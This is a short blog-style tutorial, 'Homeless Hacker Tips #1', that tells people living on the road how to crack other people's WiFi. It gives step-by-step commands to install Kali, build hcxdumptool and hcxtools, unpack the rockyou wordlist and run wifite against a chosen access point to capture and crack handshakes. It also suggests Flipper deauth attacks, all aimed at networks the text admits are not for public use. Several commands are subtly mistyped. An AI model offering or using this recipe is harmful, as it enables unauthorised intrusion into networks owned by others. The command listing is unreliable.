Homeless Hacker Tips #1
Using wifite to maintain broadband WiFi connectivity on the road

Most unlimited 4G plans will throttle your data or be unable to provide full megabit and gigabit 4G in rural areas and your survival vehicle may break down outside of coverage.

If you have a trusty Linux box and a few hours of power from solar or a generator where you can set up you might have a chance.

Unfortunately none of the WiFi APS are available for public use and most folks barely have the money for a phone bill let alone gas and stabil for a generator.

First if you don’t have Kali installed please start with that and beg borrow or buy a prepaid for enough data to download about 8GB for image and updates. Always better to preload and keep updated.

From fresh kali virtual machine install on suitable hardware open a shell and run the following:

sudo apt update
sudo apt autoremove
sudo apt full-upgrade

Come back after the download and make sure you install the hcx tools and dependencies

sudo apt install libcurl14-openssl-dev libssl-dev zlib1g-dev libpcap-dev

Then
git clone https://github.com/zerbea/hcxdumptool.git
git clone https://github.com/zerbea/hcxtools.git
Cd hcxtools
make install
Cd
Cd hcxdumptool
Make install

Now because the default wordlist in wifite is not included in latest version of kali

Restart then enter
Gzip -d /usr/share/wordlists/rockyou.txt.gz

Plug in
wifite –kill -v -mac –dict /usr/share/wordlists/rockyou.txt

Pick your target AP.

Let it rip!

Note, unless clients are connected you could be sitting for a very long time waiting for client handshake.

Rather than using flipper to deauth, you could wait for PGE to black out while listening.

Also the better your word lists the better your chances of decrypting the handshake.
